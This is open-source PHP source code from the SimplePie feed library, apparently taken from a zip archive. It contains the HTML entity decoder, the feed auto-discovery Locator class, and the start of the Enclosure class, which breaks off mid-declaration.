contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Decode HTML Entities * * This implements HTML5 as of revision 967 (2007-06-28) * * @deprecated Use DOMDocument instead! * @package SimplePie */ class SimplePie_Decode_HTML_Entities { /** * Data to be parsed * * @access private * @var string */ var $data = ''; /** * Currently consumed bytes * * @access private * @var string */ var $consumed = ''; /** * Position of the current byte being parsed * * @access private * @var int */ var $position = 0; /** * Create an instance of the class with the input data * * @access public * @param string $data Input data */ public function __construct($data) { $this->data = $data; } /** * Parse the input data * * @access public * @return string Output data */ public function parse() { while (($this->position = strpos($this->data, '&', $this->position)) !== false) { $this->consume(); $this->entity(); $this->consumed = ''; } return $this->data; } /** * Consume the next byte * * @access private * @return mixed The next byte, or false, if there is no more data */ public function consume() { if (isset($this->data[$this->position])) { $this->consumed .= $this->data[$this->position]; return $this->data[$this->position++]; } else { return false; } } /** * Consume a range of characters * * @access private * @param string $chars Characters to consume * @return mixed A series of characters that match the range, or false */ public function consume_range($chars) { if ($len = strspn($this->data, $chars, $this->position)) { $data = substr($this->data, $this->position, $len); $this->consumed .= $data; $this->position += $len; return $data; } else { return false; } } /** * Unconsume one byte * * @access private */ public function unconsume() { $this->consumed = substr($this->consumed, 0, -1); $this->position--; } /** * Decode an entity * * @access private */ public function entity() { switch ($this->consume()) { case "\x09": case "\x0A": case "\x0B": case "\x0B": case "\x0C": case "\x20": case "\x3C": case "\x26": case false: break; case "\x23": switch ($this->consume()) { case "\x78": case "\x58": $range = '0123456789ABCDEFabcdef'; $hex = true; break; default: $range = '0123456789'; $hex = false; $this->unconsume(); break; } if ($codepoint = $this->consume_range($range)) { static $windows_1252_specials = array(0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8"); if ($hex) { $codepoint = hexdec($codepoint); } else { $codepoint = intval($codepoint); } if (isset($windows_1252_specials[$codepoint])) { $replacement = $windows_1252_specials[$codepoint]; } else { $replacement = SimplePie_Misc::codepoint_to_utf8($codepoint); } if (!in_array($this->consume(), array(';', false), true)) { $this->unconsume(); } $consumed_length = strlen($this->consumed); $this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length); $this->position += strlen($replacement) - $consumed_length; } break; default: static $entities = array( 'Aacute' => "\xC3\x81", 'aacute' => "\xC3\xA1", 'Aacute;' => "\xC3\x81", 'aacute;' => "\xC3\xA1", 'Acirc' => "\xC3\x82", 'acirc' => "\xC3\xA2", 'Acirc;' => "\xC3\x82", 'acirc;' => "\xC3\xA2", 'acute' => "\xC2\xB4", 'acute;' => "\xC2\xB4", 'AElig' => "\xC3\x86", 'aelig' => "\xC3\xA6", 'AElig;' => "\xC3\x86", 'aelig;' => "\xC3\xA6", 'Agrave' => "\xC3\x80", 'agrave' => "\xC3\xA0", 'Agrave;' => "\xC3\x80", 'agrave;' => "\xC3\xA0", 'alefsym;' => "\xE2\x84\xB5", 'Alpha;' => "\xCE\x91", 'alpha;' => "\xCE\xB1", 'AMP' => "\x26", 'amp' => "\x26", 'AMP;' => "\x26", 'amp;' => "\x26", 'and;' => "\xE2\x88\xA7", 'ang;' => "\xE2\x88\xA0", 'apos;' => "\x27", 'Aring' => "\xC3\x85", 'aring' => "\xC3\xA5", 'Aring;' => "\xC3\x85", 'aring;' => "\xC3\xA5", 'asymp;' => "\xE2\x89\x88", 'Atilde' => "\xC3\x83", 'atilde' => "\xC3\xA3", 'Atilde;' => "\xC3\x83", 'atilde;' => "\xC3\xA3", 'Auml' => "\xC3\x84", 'auml' => "\xC3\xA4", 'Auml;' => "\xC3\x84", 'auml;' => "\xC3\xA4", 'bdquo;' => "\xE2\x80\x9E", 'Beta;' => "\xCE\x92", 'beta;' => "\xCE\xB2", 'brvbar' => "\xC2\xA6", 'brvbar;' => "\xC2\xA6", 'bull;' => "\xE2\x80\xA2", 'cap;' => "\xE2\x88\xA9", 'Ccedil' => "\xC3\x87", 'ccedil' => "\xC3\xA7", 'Ccedil;' => "\xC3\x87", 'ccedil;' => "\xC3\xA7", 'cedil' => "\xC2\xB8", 'cedil;' => "\xC2\xB8", 'cent' => "\xC2\xA2", 'cent;' => "\xC2\xA2", 'Chi;' => "\xCE\xA7", 'chi;' => "\xCF\x87", 'circ;' => "\xCB\x86", 'clubs;' => "\xE2\x99\xA3", 'cong;' => "\xE2\x89\x85", 'COPY' => "\xC2\xA9", 'copy' => "\xC2\xA9", 'COPY;' => "\xC2\xA9", 'copy;' => "\xC2\xA9", 'crarr;' => "\xE2\x86\xB5", 'cup;' => "\xE2\x88\xAA", 'curren' => "\xC2\xA4", 'curren;' => "\xC2\xA4", 'Dagger;' => "\xE2\x80\xA1", 'dagger;' => "\xE2\x80\xA0", 'dArr;' => "\xE2\x87\x93", 'darr;' => "\xE2\x86\x93", 'deg' => "\xC2\xB0", 'deg;' => "\xC2\xB0", 'Delta;' => "\xCE\x94", 'delta;' => "\xCE\xB4", 'diams;' => "\xE2\x99\xA6", 'divide' => "\xC3\xB7", 'divide;' => "\xC3\xB7", 'Eacute' => "\xC3\x89", 'eacute' => "\xC3\xA9", 'Eacute;' => "\xC3\x89", 'eacute;' => "\xC3\xA9", 'Ecirc' => "\xC3\x8A", 'ecirc' => "\xC3\xAA", 'Ecirc;' => "\xC3\x8A", 'ecirc;' => "\xC3\xAA", 'Egrave' => "\xC3\x88", 'egrave' => "\xC3\xA8", 'Egrave;' => "\xC3\x88", 'egrave;' => "\xC3\xA8", 'empty;' => "\xE2\x88\x85", 'emsp;' => "\xE2\x80\x83", 'ensp;' => "\xE2\x80\x82", 'Epsilon;' => "\xCE\x95", 'epsilon;' => "\xCE\xB5", 'equiv;' => "\xE2\x89\xA1", 'Eta;' => "\xCE\x97", 'eta;' => "\xCE\xB7", 'ETH' => "\xC3\x90", 'eth' => "\xC3\xB0", 'ETH;' => "\xC3\x90", 'eth;' => "\xC3\xB0", 'Euml' => "\xC3\x8B", 'euml' => "\xC3\xAB", 'Euml;' => "\xC3\x8B", 'euml;' => "\xC3\xAB", 'euro;' => "\xE2\x82\xAC", 'exist;' => "\xE2\x88\x83", 'fnof;' => "\xC6\x92", 'forall;' => "\xE2\x88\x80", 'frac12' => "\xC2\xBD", 'frac12;' => "\xC2\xBD", 'frac14' => "\xC2\xBC", 'frac14;' => "\xC2\xBC", 'frac34' => "\xC2\xBE", 'frac34;' => "\xC2\xBE", 'frasl;' => "\xE2\x81\x84", 'Gamma;' => "\xCE\x93", 'gamma;' => "\xCE\xB3", 'ge;' => "\xE2\x89\xA5", 'GT' => "\x3E", 'gt' => "\x3E", 'GT;' => "\x3E", 'gt;' => "\x3E", 'hArr;' => "\xE2\x87\x94", 'harr;' => "\xE2\x86\x94", 'hearts;' => "\xE2\x99\xA5", 'hellip;' => "\xE2\x80\xA6", 'Iacute' => "\xC3\x8D", 'iacute' => "\xC3\xAD", 'Iacute;' => "\xC3\x8D", 'iacute;' => "\xC3\xAD", 'Icirc' => "\xC3\x8E", 'icirc' => "\xC3\xAE", 'Icirc;' => "\xC3\x8E", 'icirc;' => "\xC3\xAE", 'iexcl' => "\xC2\xA1", 'iexcl;' => "\xC2\xA1", 'Igrave' => "\xC3\x8C", 'igrave' => "\xC3\xAC", 'Igrave;' => "\xC3\x8C", 'igrave;' => "\xC3\xAC", 'image;' => "\xE2\x84\x91", 'infin;' => "\xE2\x88\x9E", 'int;' => "\xE2\x88\xAB", 'Iota;' => "\xCE\x99", 'iota;' => "\xCE\xB9", 'iquest' => "\xC2\xBF", 'iquest;' => "\xC2\xBF", 'isin;' => "\xE2\x88\x88", 'Iuml' => "\xC3\x8F", 'iuml' => "\xC3\xAF", 'Iuml;' => "\xC3\x8F", 'iuml;' => "\xC3\xAF", 'Kappa;' => "\xCE\x9A", 'kappa;' => "\xCE\xBA", 'Lambda;' => "\xCE\x9B", 'lambda;' => "\xCE\xBB", 'lang;' => "\xE3\x80\x88", 'laquo' => "\xC2\xAB", 'laquo;' => "\xC2\xAB", 'lArr;' => "\xE2\x87\x90", 'larr;' => "\xE2\x86\x90", 'lceil;' => "\xE2\x8C\x88", 'ldquo;' => "\xE2\x80\x9C", 'le;' => "\xE2\x89\xA4", 'lfloor;' => "\xE2\x8C\x8A", 'lowast;' => "\xE2\x88\x97", 'loz;' => "\xE2\x97\x8A", 'lrm;' => "\xE2\x80\x8E", 'lsaquo;' => "\xE2\x80\xB9", 'lsquo;' => "\xE2\x80\x98", 'LT' => "\x3C", 'lt' => "\x3C", 'LT;' => "\x3C", 'lt;' => "\x3C", 'macr' => "\xC2\xAF", 'macr;' => "\xC2\xAF", 'mdash;' => "\xE2\x80\x94", 'micro' => "\xC2\xB5", 'micro;' => "\xC2\xB5", 'middot' => "\xC2\xB7", 'middot;' => "\xC2\xB7", 'minus;' => "\xE2\x88\x92", 'Mu;' => "\xCE\x9C", 'mu;' => "\xCE\xBC", 'nabla;' => "\xE2\x88\x87", 'nbsp' => "\xC2\xA0", 'nbsp;' => "\xC2\xA0", 'ndash;' => "\xE2\x80\x93", 'ne;' => "\xE2\x89\xA0", 'ni;' => "\xE2\x88\x8B", 'not' => "\xC2\xAC", 'not;' => "\xC2\xAC", 'notin;' => "\xE2\x88\x89", 'nsub;' => "\xE2\x8A\x84", 'Ntilde' => "\xC3\x91", 'ntilde' => "\xC3\xB1", 'Ntilde;' => "\xC3\x91", 'ntilde;' => "\xC3\xB1", 'Nu;' => "\xCE\x9D", 'nu;' => "\xCE\xBD", 'Oacute' => "\xC3\x93", 'oacute' => "\xC3\xB3", 'Oacute;' => "\xC3\x93", 'oacute;' => "\xC3\xB3", 'Ocirc' => "\xC3\x94", 'ocirc' => "\xC3\xB4", 'Ocirc;' => "\xC3\x94", 'ocirc;' => "\xC3\xB4", 'OElig;' => "\xC5\x92", 'oelig;' => "\xC5\x93", 'Ograve' => "\xC3\x92", 'ograve' => "\xC3\xB2", 'Ograve;' => "\xC3\x92", 'ograve;' => "\xC3\xB2", 'oline;' => "\xE2\x80\xBE", 'Omega;' => "\xCE\xA9", 'omega;' => "\xCF\x89", 'Omicron;' => "\xCE\x9F", 'omicron;' => "\xCE\xBF", 'oplus;' => "\xE2\x8A\x95", 'or;' => "\xE2\x88\xA8", 'ordf' => "\xC2\xAA", 'ordf;' => "\xC2\xAA", 'ordm' => "\xC2\xBA", 'ordm;' => "\xC2\xBA", 'Oslash' => "\xC3\x98", 'oslash' => "\xC3\xB8", 'Oslash;' => "\xC3\x98", 'oslash;' => "\xC3\xB8", 'Otilde' => "\xC3\x95", 'otilde' => "\xC3\xB5", 'Otilde;' => "\xC3\x95", 'otilde;' => "\xC3\xB5", 'otimes;' => "\xE2\x8A\x97", 'Ouml' => "\xC3\x96", 'ouml' => "\xC3\xB6", 'Ouml;' => "\xC3\x96", 'ouml;' => "\xC3\xB6", 'para' => "\xC2\xB6", 'para;' => "\xC2\xB6", 'part;' => "\xE2\x88\x82", 'permil;' => "\xE2\x80\xB0", 'perp;' => "\xE2\x8A\xA5", 'Phi;' => "\xCE\xA6", 'phi;' => "\xCF\x86", 'Pi;' => "\xCE\xA0", 'pi;' => "\xCF\x80", 'piv;' => "\xCF\x96", 'plusmn' => "\xC2\xB1", 'plusmn;' => "\xC2\xB1", 'pound' => "\xC2\xA3", 'pound;' => "\xC2\xA3", 'Prime;' => "\xE2\x80\xB3", 'prime;' => "\xE2\x80\xB2", 'prod;' => "\xE2\x88\x8F", 'prop;' => "\xE2\x88\x9D", 'Psi;' => "\xCE\xA8", 'psi;' => "\xCF\x88", 'QUOT' => "\x22", 'quot' => "\x22", 'QUOT;' => "\x22", 'quot;' => "\x22", 'radic;' => "\xE2\x88\x9A", 'rang;' => "\xE3\x80\x89", 'raquo' => "\xC2\xBB", 'raquo;' => "\xC2\xBB", 'rArr;' => "\xE2\x87\x92", 'rarr;' => "\xE2\x86\x92", 'rceil;' => "\xE2\x8C\x89", 'rdquo;' => "\xE2\x80\x9D", 'real;' => "\xE2\x84\x9C", 'REG' => "\xC2\xAE", 'reg' => "\xC2\xAE", 'REG;' => "\xC2\xAE", 'reg;' => "\xC2\xAE", 'rfloor;' => "\xE2\x8C\x8B", 'Rho;' => "\xCE\xA1", 'rho;' => "\xCF\x81", 'rlm;' => "\xE2\x80\x8F", 'rsaquo;' => "\xE2\x80\xBA", 'rsquo;' => "\xE2\x80\x99", 'sbquo;' => "\xE2\x80\x9A", 'Scaron;' => "\xC5\xA0", 'scaron;' => "\xC5\xA1", 'sdot;' => "\xE2\x8B\x85", 'sect' => "\xC2\xA7", 'sect;' => "\xC2\xA7", 'shy' => "\xC2\xAD", 'shy;' => "\xC2\xAD", 'Sigma;' => "\xCE\xA3", 'sigma;' => "\xCF\x83", 'sigmaf;' => "\xCF\x82", 'sim;' => "\xE2\x88\xBC", 'spades;' => "\xE2\x99\xA0", 'sub;' => "\xE2\x8A\x82", 'sube;' => "\xE2\x8A\x86", 'sum;' => "\xE2\x88\x91", 'sup;' => "\xE2\x8A\x83", 'sup1' => "\xC2\xB9", 'sup1;' => "\xC2\xB9", 'sup2' => "\xC2\xB2", 'sup2;' => "\xC2\xB2", 'sup3' => "\xC2\xB3", 'sup3;' => "\xC2\xB3", 'supe;' => "\xE2\x8A\x87", 'szlig' => "\xC3\x9F", 'szlig;' => "\xC3\x9F", 'Tau;' => "\xCE\xA4", 'tau;' => "\xCF\x84", 'there4;' => "\xE2\x88\xB4", 'Theta;' => "\xCE\x98", 'theta;' => "\xCE\xB8", 'thetasym;' => "\xCF\x91", 'thinsp;' => "\xE2\x80\x89", 'THORN' => "\xC3\x9E", 'thorn' => "\xC3\xBE", 'THORN;' => "\xC3\x9E", 'thorn;' => "\xC3\xBE", 'tilde;' => "\xCB\x9C", 'times' => "\xC3\x97", 'times;' => "\xC3\x97", 'TRADE;' => "\xE2\x84\xA2", 'trade;' => "\xE2\x84\xA2", 'Uacute' => "\xC3\x9A", 'uacute' => "\xC3\xBA", 'Uacute;' => "\xC3\x9A", 'uacute;' => "\xC3\xBA", 'uArr;' => "\xE2\x87\x91", 'uarr;' => "\xE2\x86\x91", 'Ucirc' => "\xC3\x9B", 'ucirc' => "\xC3\xBB", 'Ucirc;' => "\xC3\x9B", 'ucirc;' => "\xC3\xBB", 'Ugrave' => "\xC3\x99", 'ugrave' => "\xC3\xB9", 'Ugrave;' => "\xC3\x99", 'ugrave;' => "\xC3\xB9", 'uml' => "\xC2\xA8", 'uml;' => "\xC2\xA8", 'upsih;' => "\xCF\x92", 'Upsilon;' => "\xCE\xA5", 'upsilon;' => "\xCF\x85", 'Uuml' => "\xC3\x9C", 'uuml' => "\xC3\xBC", 'Uuml;' => "\xC3\x9C", 'uuml;' => "\xC3\xBC", 'weierp;' => "\xE2\x84\x98", 'Xi;' => "\xCE\x9E", 'xi;' => "\xCE\xBE", 'Yacute' => "\xC3\x9D", 'yacute' => "\xC3\xBD", 'Yacute;' => "\xC3\x9D", 'yacute;' => "\xC3\xBD", 'yen' => "\xC2\xA5", 'yen;' => "\xC2\xA5", 'yuml' => "\xC3\xBF", 'Yuml;' => "\xC5\xB8", 'yuml;' => "\xC3\xBF", 'Zeta;' => "\xCE\x96", 'zeta;' => "\xCE\xB6", 'zwj;' => "\xE2\x80\x8D", 'zwnj;' => "\xE2\x80\x8C" ); for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++) { $consumed = substr($this->consumed, 1); if (isset($entities[$consumed])) { $match = $consumed; } } if ($match !== null) { $this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1); $this->position += strlen($entities[$match]) - strlen($consumed) - 1; } break; } } } PKÜ�\2�+!�+�+8vendor/simplepie/simplepie/library/SimplePie/Locator.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Used for feed auto-discovery * * * This class can be overloaded with {@see SimplePie::set_locator_class()} * * @package SimplePie */ class SimplePie_Locator { var $useragent; var $timeout; var $file; var $local = array(); var $elsewhere = array(); var $cached_entities = array(); var $http_base; var $base; var $base_location = 0; var $checked_feeds = 0; var $max_checked_feeds = 10; protected $registry; public function __construct(SimplePie_File $file, $timeout = 10, $useragent = null, $max_checked_feeds = 10) { $this->file = $file; $this->useragent = $useragent; $this->timeout = $timeout; $this->max_checked_feeds = $max_checked_feeds; if (class_exists('DOMDocument')) { $this->dom = new DOMDocument(); set_error_handler(array('SimplePie_Misc', 'silence_errors')); $this->dom->loadHTML($this->file->body); restore_error_handler(); } else { $this->dom = null; } } public function set_registry(SimplePie_Registry $registry) { $this->registry = $registry; } public function find($type = SIMPLEPIE_LOCATOR_ALL, &$working) { if ($this->is_feed($this->file)) { return $this->file; } if ($this->file->method & SIMPLEPIE_FILE_SOURCE_REMOTE) { $sniffer = $this->registry->create('Content_Type_Sniffer', array($this->file)); if ($sniffer->get_type() !== 'text/html') { return null; } } if ($type & ~SIMPLEPIE_LOCATOR_NONE) { $this->get_base(); } if ($type & SIMPLEPIE_LOCATOR_AUTODISCOVERY && $working = $this->autodiscovery()) { return $working[0]; } if ($type & (SIMPLEPIE_LOCATOR_LOCAL_EXTENSION | SIMPLEPIE_LOCATOR_LOCAL_BODY | SIMPLEPIE_LOCATOR_REMOTE_EXTENSION | SIMPLEPIE_LOCATOR_REMOTE_BODY) && $this->get_links()) { if ($type & SIMPLEPIE_LOCATOR_LOCAL_EXTENSION && $working = $this->extension($this->local)) { return $working; } if ($type & SIMPLEPIE_LOCATOR_LOCAL_BODY && $working = $this->body($this->local)) { return $working; } if ($type & SIMPLEPIE_LOCATOR_REMOTE_EXTENSION && $working = $this->extension($this->elsewhere)) { return $working; } if ($type & SIMPLEPIE_LOCATOR_REMOTE_BODY && $working = $this->body($this->elsewhere)) { return $working; } } return null; } public function is_feed($file) { if ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE) { $sniffer = $this->registry->create('Content_Type_Sniffer', array($file)); $sniffed = $sniffer->get_type(); if (in_array($sniffed, array('application/rss+xml', 'application/rdf+xml', 'text/rdf', 'application/atom+xml', 'text/xml', 'application/xml'))) { return true; } else { return false; } } elseif ($file->method & SIMPLEPIE_FILE_SOURCE_LOCAL) { return true; } else { return false; } } public function get_base() { if ($this->dom === null) { throw new SimplePie_Exception('DOMDocument not found, unable to use locator'); } $this->http_base = $this->file->url; $this->base = $this->http_base; $elements = $this->dom->getElementsByTagName('base'); foreach ($elements as $element) { if ($element->hasAttribute('href')) { $base = $this->registry->call('Misc', 'absolutize_url', array(trim($element->getAttribute('href')), $this->http_base)); if ($base === false) { continue; } $this->base = $base; $this->base_location = method_exists($element, 'getLineNo') ? $element->getLineNo() : 0; break; } } } public function autodiscovery() { $done = array(); $feeds = array(); $feeds = array_merge($feeds, $this->search_elements_by_tag('link', $done, $feeds)); $feeds = array_merge($feeds, $this->search_elements_by_tag('a', $done, $feeds)); $feeds = array_merge($feeds, $this->search_elements_by_tag('area', $done, $feeds)); if (!empty($feeds)) { return array_values($feeds); } else { return null; } } protected function search_elements_by_tag($name, &$done, $feeds) { if ($this->dom === null) { throw new SimplePie_Exception('DOMDocument not found, unable to use locator'); } $links = $this->dom->getElementsByTagName($name); foreach ($links as $link) { if ($this->checked_feeds === $this->max_checked_feeds) { break; } if ($link->hasAttribute('href') && $link->hasAttribute('rel')) { $rel = array_unique($this->registry->call('Misc', 'space_seperated_tokens', array(strtolower($link->getAttribute('rel'))))); $line = method_exists($link, 'getLineNo') ? $link->getLineNo() : 1; if ($this->base_location < $line) { $href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->base)); } else { $href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->http_base)); } if ($href === false) { continue; } if (!in_array($href, $done) && in_array('feed', $rel) || (in_array('alternate', $rel) && !in_array('stylesheet', $rel) && $link->hasAttribute('type') && in_array(strtolower($this->registry->call('Misc', 'parse_mime', array($link->getAttribute('type')))), array('application/rss+xml', 'application/atom+xml'))) && !isset($feeds[$href])) { $this->checked_feeds++; $headers = array( 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ); $feed = $this->registry->create('File', array($href, $this->timeout, 5, $headers, $this->useragent)); if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) { $feeds[$href] = $feed; } } $done[] = $href; } } return $feeds; } public function get_links() { if ($this->dom === null) { throw new SimplePie_Exception('DOMDocument not found, unable to use locator'); } $links = $this->dom->getElementsByTagName('a'); foreach ($links as $link) { if ($link->hasAttribute('href')) { $href = trim($link->getAttribute('href')); $parsed = $this->registry->call('Misc', 'parse_url', array($href)); if ($parsed['scheme'] === '' || preg_match('/^(http(s)|feed)?$/i', $parsed['scheme'])) { if (method_exists($link, 'getLineNo') && $this->base_location < $link->getLineNo()) { $href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->base)); } else { $href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->http_base)); } if ($href === false) { continue; } $current = $this->registry->call('Misc', 'parse_url', array($this->file->url)); if ($parsed['authority'] === '' || $parsed['authority'] === $current['authority']) { $this->local[] = $href; } else { $this->elsewhere[] = $href; } } } } $this->local = array_unique($this->local); $this->elsewhere = array_unique($this->elsewhere); if (!empty($this->local) || !empty($this->elsewhere)) { return true; } return null; } public function extension(&$array) { foreach ($array as $key => $value) { if ($this->checked_feeds === $this->max_checked_feeds) { break; } if (in_array(strtolower(strrchr($value, '.')), array('.rss', '.rdf', '.atom', '.xml'))) { $this->checked_feeds++; $headers = array( 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ); $feed = $this->registry->create('File', array($value, $this->timeout, 5, $headers, $this->useragent)); if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) { return $feed; } else { unset($array[$key]); } } } return null; } public function body(&$array) { foreach ($array as $key => $value) { if ($this->checked_feeds === $this->max_checked_feeds) { break; } if (preg_match('/(rss|rdf|atom|xml)/i', $value)) { $this->checked_feeds++; $headers = array( 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ); $feed = $this->registry->create('File', array($value, $this->timeout, 5, null, $this->useragent)); if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) { return $feed; } else { unset($array[$key]); } } } return null; } } PKÜ�\��j5MkMk:vendor/simplepie/simplepie/library/SimplePie/Enclosure.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles everything related to enclosures (including Media RSS and iTunes RSS) * * Used by {@see SimplePie_Item::get_enclosure()} and {@see SimplePie_Item::get_enclosures()} * * This class can be overloaded with {@see SimplePie::set_enclosure_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Enclosure { /** * @var string * @see get_bitrate() */ var $bitrate; /** * @var array * @see get_captions() */ var $captions; /** * @var array * @see get_categories() */ var $categories; /** * @var int * @see get_channels() */ var 